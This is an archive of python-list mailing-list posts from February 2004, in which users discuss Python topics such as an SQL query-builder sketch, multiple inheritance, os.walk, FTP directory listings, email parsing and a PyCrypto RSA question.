> To: python-list at python.org
> Subject: Re: Table Oriented Programming
> 
> 
> What about the following code ?
> I think there is not too much to make it work...
> 
> 
> """
> http://www.geocities.com/tablizer/top.htm
>
http://groups.google.fr/groups?q=Table+oriented++group:comp.lang.python.
*&
> hl=fr&lr=&ie=UTF-
> 8&group=comp.lang.python.*&selm=mailman.2.1076613028.31398.python-
> list%40python.org&rnum=1
> """
> 
> 
> class TOP(object):
>     def __div__(self,other):
>         return Selection(self,other)
> 
>     def __mul__(self,other):
>         return CartesianProduct(self,other)
> 
>     def __eq__(self,other):
>         return Equality(self,other)
> 
>     def __mod__(self,other):
>         return Projection(self,other)
> 
>     def execute(self,connexion):
>         self._cursor = connexion.cursor()
>         self._cursor.execute(ToSql().toSql(self))
> 
>     def __getitem__(self,item):
>         if not hasattr(self,'_result'):
>             self._result = self._cursor.fetchall()
>         return self._result[item]
> 
>     def __iter__(self):
>         return self._iter
> 
>     def _iter(self):
>         set = self._cursor.nextset()
>         while set:
>             yield set
>             set = self._cursor.nextset()
> 
> 
> class Table(TOP):
>     def __init__(self,name):
>         self._name = name
> 
>     def __getattr__(self,attr):
>         return Field(self,attr)
> 
>     def __str__(self):
>         return self._name
> 
> class Field(TOP):
>     def __init__(self,table,fieldName):
>         self._table = table
>         self._name = fieldName
> 
>     def __str__(self):
>         return "%s.%s" % (self._table,self._name)
> 
> class Equality(TOP):
>     def __init__(self,a,b):
>         self.a = a
>         self.b = b
> 
> class Selection(TOP):
>     def __init__(self,a,b):
>         self.a = a
>         self.b = b
> 
> class CartesianProduct(TOP):
>     def __init__(self,a,b):
>         self.a = a
>         self.b = b
> 
> class Projection(TOP):
>     def __init__(self,a,b):
>         self.a = a
>         self.b = b
> 
> 
> class ToSql:
>     def __init__(self):
>         pass
> 
>     def toSql(self,obj):
>         methodName = "toSql" + obj.__class__.__name__
>         if hasattr(self,methodName):
>             toSql = getattr(self,methodName)
>             return toSql(obj)
>         else:
>             #print methodName
>             return '"%s"' % str(obj)
> 
>     def toSqltuple(self,tuple):
>         return ",".join(map(lambda o: self.toSql(o),tuple))
> 
>     def toSqlTable(self,table):
>         return str(table)
> 
>     def toSqlField(self,field):
>         return str(field)
> 
>     def toSqlCartesianProduct(self,prod):
>         return "%s,%s" % (self.toSql(prod.a),self.toSql(prod.b))
> 
>     def toSqlEquality(self,eq):
>         return "%s == %s" % (self.toSql(eq.a),self.toSql(eq.b))
> 
>     def toSqlSelection(self,sel):
>         if isinstance(sel.a,Selection):
>             return "%s AND %s" % (self.toSql(sel.a),self.toSql(sel.b))
>         else:
>             return "%s WHERE %s" %
> (self.toSql(sel.a),self.toSql(sel.b))
> 
>     def toSqlProjection(self,proj):
>         if isinstance(proj.a,Projection):
>             return "?"
>         else:
>             return "SELECT %s FROM %s" % (self.toSql(proj.b),
> self.toSql(proj.a))
> 
> translator = ToSql()
> 
> departments = Table("DepartmentTable")
> employees = Table("EmployeeTable")
> 
> johnsDepartment = ( departments * employees) / (employees.dept ==
> departments.dept)  / ( employees.name == "John") % departments.name
> johnsDepartmentBis = ( departments * employees) / (employees.dept ==
> departments.dept)  / ( employees.name == "John") %
> (departments.name,employees.surname)
> 
> print translator.toSql(johnsDepartment)
> print translator.toSql(johnsDepartmentBis)
> 
> ##johnsDepartment.execute(myBddConnexion)
> ##print johnsDepartment[0]
> 
> ##johnsDepartmentBis.execute(myBddConnexion)
> ##for item in johnsDepartmentBis:
> ##    print item
> --
> http://mail.python.org/mailman/listinfo/python-list






From newsgroups at jhrothjr.com  Sat Feb  7 22:24:25 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 7 Feb 2004 22:24:25 -0500
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
Message-ID: <102bb30d5422pd4@news.supernews.com>

"Uwe Mayer" <merkosh at hadiko.de> wrote in message
news:c03rii$c2t$1 at news.rz.uni-karlsruhe.de...
>
> One problem I'm still having with this is: for component B to register a
> callback at component A, B still got to have a reference to component A in
> order to make a call like "A.registerCallback(...)"
> You might not know what B needs to access, so you cannot pass "what is
> needed" in the constructor, nor let the code that instanciates B set
> attributes.

I suspect you've got the callback logic backwards. The basic
layering pattern is "call down, notify up," and it's the upper layer's
responsibility to request the notification.

To explicate: the GUI module calls the domain
module for service. It also calls the domain module
to register callbacks, passing the function that it
want's called.

When the domain layer has something it wants to
tell the GUI layer, it simply runs a (possibly empty)
list of callback functions.

John Roth

>
> Ciao
> Uwe




From piet at cs.uu.nl  Tue Feb 24 10:28:33 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 24 Feb 2004 16:28:33 +0100
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
Message-ID: <wzy8qsfqe6.fsf@ordesa.cs.uu.nl>

>>>>> Tim Roberts <timr at probo.com> (TR) wrote:

TR> Ben Finney <bignose-hates-spam at and-benfinney-does-too.id.au> wrote:
>> 
>> Just when we thought things were looking up on the whole "Windows as a
>> trademark" for something that Microsoft didn't originate in the first
>> place.
>> 
>> The wxWindows project have announced that they are changing their name
>> to wxWidgets, specifically to avoid problems with the Microsoft product
>> name.

TR> That's enough to make a guy angry.  Not at Julian or Robin, but at the
TR> bozos at Microsoft who have the unmitigated gall to suggest that ANY use of
TR> the word "windows" could possibly have any impact on their galactic empire.

TR> Did you hear about the teenager named Mike Rowe, who decided to call his
TR> little company "Mike Rowe Soft"?  When he registered his domain, the
TR> Redmond lawyers came a-knocking, demanding money.  Fortunately, the bad
TR> press caused them to change their mind in this case.

So what will happen to the X Window system, often referred to as XWindows.
And what about the comp.windows.x newsgroup hierarchy?
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From not.available at na.no  Thu Feb 26 13:31:15 2004
From: not.available at na.no (Noen)
Date: Thu, 26 Feb 2004 18:31:15 GMT
Subject: How to obscure a password
In-Reply-To: <mailman.175.1077814180.8594.python-list@python.org>
References: <mailman.175.1077814180.8594.python-list@python.org>
Message-ID: <TXq%b.41606$BD3.8026233@juliett.dax.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Batista, Facundo wrote:

| Peter Hansen wrote:
|
| #- > I need to restore the password later and use it as if the
| #- user just entered
| #- > it.
| #-
| #- Your design is probably fundamentally flawed in that case.  Are you
| #- certain it is not possible to store the hashed password and always
| #- to compare against it?
|
| That will imply to the user to enter his password everytime (that's
what I'm
| trying to avoid).
|
| Anyway, I'll tell the user how insecure is the mechanism, and give him the
| freedom to choice between save the password to the disk and don't enter it
| anymore, or always enter it.
|
| .	Facundo
|

Perhaps you should establish a session, like you do with cookies in http?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAPjpf9vKlXPxSchIRAlYvAJ426vokN0bOF3PTEk+znqpGe7dmZACfbydU
q5X8a3Y8mU8H7h8x+DnxoSk=
=k9uD
-----END PGP SIGNATURE-----



From garys at ihug.com.au  Mon Feb  2 03:06:49 2004
From: garys at ihug.com.au (Gary Stephenson)
Date: Mon, 2 Feb 2004 19:06:49 +1100
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
Message-ID: <bvl0m8$tb3$1@lust.ihug.co.nz>


Fwiw, I am both a human, and a customer of my bank.  My computer is both an
"electrical_device" and a "depreciable-asset".  It is completely natural in
the real world for objects to have multiple "is-a" relationships with
various other objects.   Why then, should we not use multiple inheritance
when modelling such relationships?

One major reason why multiple inheritance has such a bad name can be sheeted
back to the brain-dead way in which C++ implements it.  The other main
reason is that inheritance itself, single or multiple, implementation or
interface, is _way_ overrated as a code structuring technique.  This is
probably due to it not even being consistently defined - it seems to mean
different things to different people at different times (depending on which
language they're currently working with).

IMHO, inheritance only works robustly in the face of change if you can
guarantee that the potential instances of your (sub)classes form a strict
proper subset (mathematically speaking) of the potential instances of their
ancestor classes.  afaik, which is not terribly far really
;-) , there is no OO language on earth that can _guarantee_ this subclass ==
subset relationship for you - you have to arrange it yourself (somehow).

Other folk have also suggested that in order to properly achieve the above,
you need to follow the rule: "only abstract classes can be subclassed".
That is, if you want to create class B as a subclass of class A, and A is
not already an abstract class, you should create a third class A', which
_is_ an abstract class, and have both class A and class B inherit from that.
For a far better explanation of this and many other related issues I refer
the interested reader to:

     http://okmij.org/ftp/Computation/Subtyping/Trouble.html

my $A0.0148,

gary


"Uwe Mayer" <merkosh at hadiko.de> wrote in message
news:bvjhkv$ss4$1 at news.rz.uni-karlsruhe.de...
> Hi,
>
> I got a class A2 that needs to inherit from class A1.
> A2, as well as some other classes implement a same functionality and in
> order to prevent code duplication I'd like to factorize that (potentially)
> duplicate code into a class SuperA from which then A2 and all other
classes
> could inherrit.
> However, this would cause A2 to have two super classes A1 and SuperA -
which
> is possible of course in Python.
>
> My question is: is that bad programming style?
> From C++ and Java we "learn" that you shouldn't do that.
>
> Class A is automatically generated from other tools, so I can't solve the
> problem by just letting A1 inherit from SuperA.
>
> Your opinions?
>
> Ciao
> Uwe
> -- 
>




From ville at spammers.com  Sun Feb 29 15:36:10 2004
From: ville at spammers.com (Ville Vainio)
Date: 29 Feb 2004 22:36:10 +0200
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
	<du7y8qlahx9.fsf@lehtori.cc.tut.fi>
	<c1thrd$3ug$1@solaris.cc.vt.edu>
Message-ID: <du7y8qlhbd1.fsf@amadeus.cc.tut.fi>

>>>>> "Bart" == Bart Nessux <bart_nessux at hotmail.com> writes:

    Bart> I think C is *significantly* faster when it's being used by
    Bart> someone who *knows* what they're doing and more importantly,
    Bart> they understand *why* C is faster for the task. That's

I don't think knowing what you are doing matters all that much. When
you have to make a database query, you have to make database
query. Actually, Python code might even be faster in circumstances
like these, because you can write more sensible algorithms w/o
investing a week of debugging. So caching data in memory becomes more
appealing.

C is extremely fast when you are doing stuff that requires intensive
computation, loops with millions of iterations etc. Luckily this also
applies to Python modules written in C.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From jbi130 at yahoo.com  Tue Feb 24 21:17:24 2004
From: jbi130 at yahoo.com (jbi130 at yahoo.com)
Date: Wed, 25 Feb 2004 02:17:24 GMT
Subject: Encrypting modules..
Message-ID: <871xojuckf.fsf@syn.codemonkey.net>

So I wrote a custom importer in C that loads in encrypted files,
decrypts, then unmarshals them and loads them as modules, there is
also a quick little compiler to generate our encrypted modules.

Works pretty good.  The intention is to distribute python modules and
limit access to the source.

My question now is, from the interpreter can a user extract the
bytecode from a loaded module (which could then be written to a file
and 'decompyled')?  If so, any effort I put into an encrypted module
loader has gone to waste (only 2 hours and worth the time to learn
about custom importers).  I don't mean to bring up an old thread about
hiding source, but searching google for getting bytecode from an in
memory module didn't bring up much.

If this is the case, is the only alternative to hack up the
interpreter and the bytecode in generates/reads?  Building python is
part of our build/distribution process so it would not be that big of
a deal.

Thanks!


From __peter__ at web.de  Sat Feb  7 09:56:53 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 07 Feb 2004 15:56:53 +0100
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
Message-ID: <c02ubl$qqt$07$1@news.t-online.com>

Kylotan wrote:

> I have the following code:
> 
> def IntToRandFloat(x):
>     """Given a 32-bit integer, return a float in [-1.0, 1.0]"""
>     x = int(x)
>     x = int(x << 13) ^ x
>     return
>     (1.0-((x*(x*x*15731+789221)+1376312589)&0x7fffffff)/1073741824.0)
> 
> 
> Basically it's a function directly copied from a C implementation. Now
> it appears that the line with the left-shift causes the "losing bits
> or changing sign will return a long in Python 2.4 and up" warning. All
> well and good - I explicitly cast it back to an int so that the code
> won't break when I upgrade Python. I also disable the warning using
> warnings.filterwarnings(action = 'ignore', etc).
> 
> However when the time comes to profile my app, I see lines like these:
> 
>          11266617 function calls in 488.717 CPU seconds
>    ncalls  tottime  percall  cumtime  percall
> filename:lineno(function)
>   3145728  129.744    0.000  364.845    0.000
> terraingen.py:22(IntToRandFloat)
>   3142872  150.484    0.000  235.101    0.000 warnings.py:24(warn)
>   3142872   84.617    0.000   84.617    0.000
> warnings.py:59(warn_explicit)
> 
> Now I obviously can't afford to have almost half my program time
> consumed by warnings that I don't want to see.
> 
> It gets stranger. If I change the shift line to this:
> x = int(x * (2 ** 13)) ^ x
> x = int(x | 0xFFFF)
> 
> ...it's still calling 'warn' once for each time IntToRandFloat is
> called, but I see no warning appear, even when I don't import warnings
> and disable any. I have no other imports (that i can see) which might
> be disabling a warning behind the scenes.
> 
> So I have these problems: warnings are slow (even when disabled),
> sometimes warnings are being issued and I never see them, and given
> that I never see the warnings I don't know how to get around them.
> 
> So, my first question is to ask if there is a more efficient way of
> disabling warnings?

Have you tried brute force?

...> timeit.py -s"import profwarn" "profwarn.IntToRandFloat(99)"
10000 loops, best of 3: 27.3 usec per loop

...> timeit.py -s"import profwarn;profwarn.disableWarnings()"
"profwarn.IntToRandFloat(99)"
100000 loops, best of 3: 7.8 usec per loop

with IntToRandFloat() copied* from your post and the following to entirely
disable warnings:

def disableWarnings():
    def _theevilunwarner(*args):
        pass
    import warnings
    warnings.warn = _theevilunwarner
    warnings.warn_explicit = _theevilunwarner 

I think the last line isn't necessary, but it won't do any (additional)
harm.

Peter

(*) Your email client seems to replace normal space with evil lookalikes, so
I had to delete and reinsert the entire whitespace.


From steve at ninereeds.fsnet.co.uk  Sat Feb 21 08:31:13 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sat, 21 Feb 2004 13:31:13 +0000
Subject: Having trouble extracting useful directory details from ftplib.FTP
Message-ID: <etle3058fkbe7k2mrf6jlucuj929ns7tju@4ax.com>


Just recently I decided I want to make use of my ISP freebie webspace.
In order to make that easier, I'd like to be able to automatically
synchronise an FTP file/folder heirarchy with one on my local hard
drive. I figured this should be easily handled in Python, and broadly
speaking it is, but I am having a little difficulty.

You see, in order to handle the synchronise correctly, I need to be
able to determine what is on the FTP server to start with. I need to
be able to recursively search the folders on the FTP server. But so
far as I can tell, I'm having to rely on some very flaky techniques
and some observations about my ISPs FTP server that could potentially
change.

I tried using FTP.nlst(pathname) but this wasn't very helpful...

1.  It created a bogus first entry in the list - a line saying
    "Found 1" (irrespective of the actual number of items found)
    IIRC.

2.  It provided no indication of whether each item was a file or
    a folder.

Therefore, I switched to using the following piece of code...

  filelist=[]
  ftp.retrlines ("LIST "+pathname, filelist.append)

I still get a bogus line at the top, but that's easily worked around.
The important thing is that by testing out the results, I found that
for the ftp server I am using I can look at the first character for
the directory flag, and use the slice [53:] to extract the filename
from each line.

The problem is, however, that this seems like skating on very thin
ice. So far as I can tell, there is no standard for the format
reported by the LIST command.

This so far is enough - I can use this to find all files and folders
on the FTP server, and I can download backup copies to a hard drive
folder and then delete them all before uploading the replacement
files, all in one automatic process that (at the moment) just works.
But - apart from the fact that I'm very nervous about it - ideally,
I'd like to do a more sane synchronise - only delete files that need
to be deleted, and only upload files that have changed. To do that, I
need to get more details about the files on the FTP server - time and
date stamps in particular. Getting hold of this information looks like
being at least as much of a hack as what I've done already.

So the question is... Is there some better way of handling this that
I'm missing, or is this just the way it is? After all, there are a lot
of FTP client utilities out there that seem to get this information
perfectly reliably, which seems surprising if they have to rely on
parsing an inconsistent directory listing format.

Any hints?


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From Scott.Daniels at Acm.Org  Wed Feb 11 19:18:16 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Wed, 11 Feb 2004 16:18:16 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <mailman.0.1076542666.698.python-list@python.org>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>	<402806A4.6020502@v.loewis.de>	<mailman.1391.1076369629.12720.python-list@python.org>	<102geglh6cprm45@news.supernews.com>
	<4029177e$1@nntp0.pdx.net>
	<mailman.0.1076542666.698.python-list@python.org>
Message-ID: <402acfc1@nntp0.pdx.net>

Dietrich Epp wrote:

> You could require that all identifiers be the canonically decomposed 
> Unicode representations encoded into UTF-8.  This would mean that no 
> matter which string is chosen from the above, the result is always the 
> same sequence of characters.  This is how many filesystems use unicode, 
> i.e., Mac HFS+ works this way (but filesystems usually also require a 
> specific version of Unicode for backwards compatibility).
There are several "Normal forms" for Unicode letters.  You'd need to
choose one.

> I personally think that Unicode identifiers would be catastrophic.....
{lotsa examples, some good, some not-so-good elided)
I'm reluctant to endorse it because I _know_ I'll see "Why doesn't my
program work?" accompanied by characters I'm not used to distinguishing.

> I think the assumption some people have is that Unicode will only ever 
> be used for things that are like the roman alphabet: adding diacritical 
> marks, etc.  It sounds like the most worthless extension ever, and the 
> only language I think of when I think of special characters is Intercal.  
And this is why I had to comment.  You obviously never dealt with APL.
I actually used it without an APL type ball, which was painful in the
extreme.  When I give language summaries, my quote for APL is,
"APL is the only language where you regularly see one programmer walk
into another's office (well, cube now, but in the day....) and say,
'I bet you cannot guess what this one-line program does.'"

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From jeremy+plusnews at jeremysanders.net  Mon Feb 23 05:06:39 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Mon, 23 Feb 2004 10:06:39 +0000
Subject: Help on Email Parsing
References: <mailman.190.1077526040.27104.python-list@python.org>
Message-ID: <pan.2004.02.23.10.06.39.542879@jeremysanders.net>

On Mon, 23 Feb 2004 00:47:17 -0800, dont bother wrote:

>> I have been trying to parse emails:
> But I could not find any examples or snippets of parsing emails in
> python from the documentation.

Here is  a simple program (a bit of a hack) I wrote to count the number of
messages in a mailbox in each day (used for counting spams). It may be of
some use to you, although I don't actually parse the message itself, and
only the headers.

Jeremy

# Released under the GPL (version 2 or greater)
# Copyright (C) 2003 Jeremy Sanders

import mailbox
import string
import email
import email.Utils
import time
import sys

# open passed mailbox filename
# (yes - we need checking of this)
fp = open(sys.argv[1], 'r')

# open mailbox from file
mbox = mailbox.PortableUnixMailbox(fp)

secsinday = 86400
counts = {}

# get current time
nowtime = time.time()

# iterate over mail messages
while 1:
    # get next message
    msg = mbox.next()
    # exit if we've looked at the last one
    if msg == None:
        break

    # get received header
    received = msg.get('received')
    # skip messages with no received header
    if received == None:
        continue

    # get unix time of email
    date_rfind = string.rfind(received, ';')
    date = received[date_rfind+1:]
    pd = email.Utils.parsedate( string.strip(date) )

    # skip messages we can't parse the date on
    if pd == None:
        continue

    # get time between now and received date in message
    unixtime = time.mktime(pd)
    day = int( (unixtime-nowtime) / secsinday)

    # increment counter for day
    # (using a dict allows us to parse the messages only once)
    if not day in counts:
        counts[day] = 0
    counts[day] += 1

# sort days into numerical order
daylist = counts.keys()
daylist.sort()

# print out counts
for d in daylist:
    print d, counts[d]




From shalabh at cafepy.com  Thu Feb 19 22:59:02 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Fri, 20 Feb 2004 03:59:02 GMT
Subject: New-Style Articles
Message-ID: <aCfZb.18352$wD5.18132@nwrddc03.gnilink.net>

Two articles on Python new-style objects and mechanisms:

1. Python Types and Objects

(Previously called The New Python: Part 1 - Types and Objects. It has been
restructured and some unnecessary matter deleted.)

Explains the different kinds of objects in Python, starting from <type
'object'>, <type 'type'> and built-in data types to user defined types and
instances, and how they are related.

http://www.cafepy.com/articles/python_types_and_objects/README.html

2. Python Attributes and Methods

Explains attribute access mechanisms in Python. These include working of
descriptors, properties, and method resolution order in Python.

http://www.cafepy.com/articles/python_attributes_and_methods/README.html

Feedback greaty appreciated! You can write to me at shalabh at cafepy.com, or
use the online form.

Cheers,
Shalabh Chaturvedi


From jcarlson at nospam.uci.edu  Thu Feb  5 15:27:39 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 12:27:39 -0800
Subject: Long list to numeric multi-D array
In-Reply-To: <bvtsnm$r1b$1@newshost.mot.com>
References: <bvtsnm$r1b$1@newshost.mot.com>
Message-ID: <bvu946$e62$2@news.service.uci.edu>

Stephen Boulet wrote:

> I have a long list of floats (1613808 elements long). It takes quite a 
> while to load this into a 7 dimensional Numeric array.
> 
> Is there any obvious way to speed this up?
> 


Perhaps reshape will be able to solve this problem for you.  I hear it 
is very fast.

  - Josiah


From jester.dev at comcast.net  Thu Feb 12 18:46:54 2004
From: jester.dev at comcast.net (jester.dev)
Date: Thu, 12 Feb 2004 23:46:54 GMT
Subject: Word count from file help.
References: <oiAWb.9926$jk2.28236@attbi_s53>
	<slrnc2llqn.16j.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <OfUWb.296908$xy6.1455591@attbi_s02>

See inline.

Ben Finney wrote:

> On Thu, 12 Feb 2004 01:04:20 GMT, jester.dev wrote:
>> I'm learning Python from Python Bible
> 

> How are you invoking it (what command do you type)?  Does the program
> appear to do something, then exit?
> 

I made it executable: chmod 755 word_count.py
I also tried: python word_count.py


> Diagnostics:
> 
> When you encounter unexpected behaviour in a complex piece of code, it's
> best to test some assumptions.
> 
> What happens when the file "poem.txt" is not there?  (Rename the file to
> a different name.)  This will tell you whether the program is even
> attempting to read the file.

It does nothing either way. First time I ran it the file was not there. 
 
> What happens when you import this into the interactive Python prompt,
> then call CountWords on some text?  This will tell you whether the
> function is performing as expected.

Nothing happens. :) So I guess what you said below is correct.

> And so on.
> 
> 
> One possible problem that may be a mistake in the way you pasted the
> text into your newsgroup message:
> 
>> #!/usr/bin/python
>> [...]
>> import string
>>     
>> def CountWords(Text):
>> [...]
>>         for CharacterIndex in range(0,len(Text)):
>> [...]
>>                 if(PiecesOfWords.find(CurrentCharacter)!=-1):
>> [...]
>>                 else:
>>                                 if(CurrentWord!=""):
>> [...]
>>                                 if (__name__=="__main__"):
>> [...]
> 
> Indentation defines structural language blocks in Python.  The "def",
> "for", "if" structures above will encompass *all* lines below them until
> the next line at their own indentation level or less.
> 
> In other words, if the code looks the way you've pasted it here, the
> "def" encompasses everything below it; the "for" encompasses everything
> below it; and the "if(PiecesOfWords...):" encompasses everything below
> it.  Including the "if( __name__ == "__main__" ):" line.
> 
> Thus, as you've posted it here, the file imports the string module,
> defines a function -- then does nothing with it.
> 
> Please be sure to paste the text literally in messages; or, if you've
> pasted the text exactly as it is in the program, learn how Python
> interprets indentation:
> 
>     <http://www.python.org/doc/current/ref/indentation.html>
> 

Thanks for the link. I'm not really used to this whole indention deal yet. I
as however using WingIDE which indents for me.

JesterDev


From cnoviello at hotmail.com  Sat Feb 28 03:14:52 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Sat, 28 Feb 2004 08:14:52 GMT
Subject: PyCrypto and RSA
Message-ID: <06Y%b.36359$Kc3.1122381@twister2.libero.it>

Hi,
I want to say first of all that I'm totally a newbie in cryptography world.
Is there someone can show me a simple example on how to use PyCrypto lib and
RSA to encrypt large text file? I'm trying to do it in this way.
First of all I split the text file in sub parts each one of  key.size() // 8
size. Then I encrypt using RSA PublicKey algorithm and store each line in a
target file. This is the pseudo-code:

size = len(plaintext)
bits = []
pos = 0
chunklen = key.size() // 8
while pos < size:
     cipheredText = key.encrypt(plaintext[pos:pos+chuncklen], "")
     bits.append(cipheredText[0])
     pos += chunklen

file.writelines(bits)

This code seemingly works. I have problems with the code that decrypts the
ciphered text.

blocksize = (privkey.size() // 8) + 1
plaintext = ""
line = fo.read(blocksize)
while line != "":
     plaintext += privkey.decrypt(line)
     line = file.read(blocksize)

Often, but not every time, this code raise an exception "Ciphertext too
large". I can't understand where I went wrong.

Thanks in advance.

-- 
Don't you know why your Python application has crashed?
Take a look to http://www.pycrash.org




From wweston at att.net  Sun Feb  8 21:39:40 2004
From: wweston at att.net (wes weston)
Date: Mon, 09 Feb 2004 02:39:40 GMT
Subject: How to open files
In-Reply-To: <102dgnqrlu47l60@corp.supernews.com>
References: <102dgnqrlu47l60@corp.supernews.com>
Message-ID: <MpCVb.2911$fV5.92007@bgtnsc04-news.ops.worldnet.att.net>

http://www.python.org/doc/current/tut/tut.html

ADE wrote:
> Hi I have a Tkinter GUI with a listbox that displays a list of files I would
> like to be able to open those files when I double click on them in there
> default program that opens the files usually
> 
> Thanks in advance Cheers
> 
> 
> Andrew
> 
> 
> 
> 



From sdfATexpertuneDOTcom  Mon Feb 23 13:28:03 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Mon, 23 Feb 2004 18:28:03 -0000
Subject: How to code a series of alternatives
Message-ID: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>

testvar = bob

# Trial A: This does not work
if testvar == ("fred" or "bob):
    statements

# Trial B: This does work
if textvar == "fred" or textvar == "bob":
    statements


Trial B is OK for 1 or 2 tests, but gets messy for 5 or 6.  What is the 
variation of Trial A that will work?  


Scott 


From __peter__ at web.de  Wed Feb 25 08:34:56 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 25 Feb 2004 14:34:56 +0100
Subject: os.walk walks too much
References: <mailman.96.1077712778.8594.python-list@python.org>
Message-ID: <c1i8a1$gnj$01$1@news.t-online.com>

Marcello Pietrobon wrote:

> I am using Pyton 2.3
> I desire to walk a directory without recursion
> 
> this only partly works:
> def walk_files() :
>     for root, dirs, files in os.walk(top, topdown=True):
>         for filename in files:
>             print( "file:" + os.path.join(root, filename) )

This is *bad*. If you want to change a list while you iterate over it, use a
copy (there may be worse side effects than you have seen):
          for dirname in dirs[:]:
>         for dirname in dirs:
>              dirs.remove( dirname )
> because it skips all the subdirectories but one.
> 
> this *does not* work at all
> def walk_files() :
>     for root, dirs, files in os.walk(top, topdown=True):
>         for filename in files:
>             print( "file:" + os.path.join(root, filename) )

You are rebinding dirs to a newly created list, leaving the old one (to
which os.walk() still holds a reference) unaltered. Using

          dirs[:] = []

instead should work as desired.

>         dirs = []
> 

Here's what I do:

def walk_files(root, recursive=False):
    for path, dirs, files in os.walk(root):
        for fn in files:
            yield os.path.join(path, fn)
            if not recursive:
                break
                
Peter


From leeg at teaching.physics.ox.ac.uk.valid  Thu Feb  5 21:56:42 2004
From: leeg at teaching.physics.ox.ac.uk.valid (leeg)
Date: Fri, 06 Feb 2004 02:56:42 +0000
Subject: How can this be?
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
	<mailman.1279.1076032014.12720.python-list@python.org>
Message-ID: <bvuvpa$g7h$1@news.ox.ac.uk>

Paul Prescod wrote:

> If you wish the function to work with a copy, try this:
> 
>       from A import *
>       L = [0]
>       print L
>       x = f(L[:], 'a data string')
>       print L

Heh, and there was me doing:
def copylist(source):
  dest=[]
  for i in source:
    dest.append(i)
  return dest

a few tens of thousands of times a minute.  I guess using slices is faster
:-)

Cheers,
leeg.
-- 
I am leeg, for we are many.
http://users.ox.ac.uk/~wadh1342


From nir1408 at ziaran.org  Sun Feb 29 14:05:32 2004
From: nir1408 at ziaran.org (ziaran)
Date: Sun, 29 Feb 2004 21:05:32 +0200
Subject: Speed Comparison Perl Python & C
In-Reply-To: <c1t89m$a3u$1@solaris.cc.vt.edu>
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
Message-ID: <4042381d$1@news.bezeqint.net>

Bart Nessux wrote:
> Just fooling around this weekend. Wrote and timed programs in C, Perl and
> Python. Each Program counts to 1,000,000 and prints each number to the
> console as it counts. I was a bit surprised. I'm not an expert C or Perl
> programming expery, I'm most familiar with Python, but can use the others
> as well.
> 
> Here are my results:
> 
> C = 23 seconds
> Python = 26.5 seconds
> Perl = 34.5 seconds
> 
> Here are the programs:
> 
> -------------------------
> #The C version:
> -------------------------
> 
> #include <stdio.h>
> 
> int main(void)
> {
> int x = 0;
> while (x < 1000000) {
>    printf("%d \n", x++);
>    }
> }
> 
> -------------------------
> #The Python version:
> -------------------------
> 
> #!/usr/bin/python
> 
> x = 0
> while x < 1000000:
>    x = x + 1
>    print x
> 
> -------------------------
> #The Perl version:
> -------------------------
> 
> #!/usr/bin/perl -Tw
> 
> use strict;
> 
> my $x = 0;
> while($x < 1000000) {
>    print $x++, "\n";
>    }
> 
> What do you guys think of this? I don't know enough about Perl & C, and
> perhaps Python, to know if this was indeed a fair test. I thought C would
> do this much faster than it did. Any ideas? 
> 
> 
> 
> 

Last time I checked doing simple prime number searching, C++ was 30 
times faster than Python.




From skip at pobox.com  Tue Feb 10 18:02:10 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 17:02:10 -0600
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
 warning: ISO C89 does not support `long long'
In-Reply-To: <bf23f78f.0402101432.3ccff43c@posting.google.com>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
Message-ID: <16425.25330.886172.548459@montanaro.dyndns.org>


    Chris> c extension compilation gives this gripe about python itself with
    Chris> -Wall and -pedantic switches -->
    Chris> /usr/include/python2.2/longobject.h:48: warning: ISO C89 does not
    Chris> support `long long'

    Chris> Is there any way to avoid this?

Sure.  Get rid of the -pedantic switch...

Skip



From glenfant-nospam at bigfoot.com  Mon Feb  9 03:40:18 2004
From: glenfant-nospam at bigfoot.com (Gilles Lenfant)
Date: Mon, 9 Feb 2004 09:40:18 +0100
Subject: JPG Image Load,Resize,Save with 100% Python?
References: <c05dj3$q37$04$1@news.t-online.com>
Message-ID: <c07hln$3i3$1@news-reader3.wanadoo.fr>

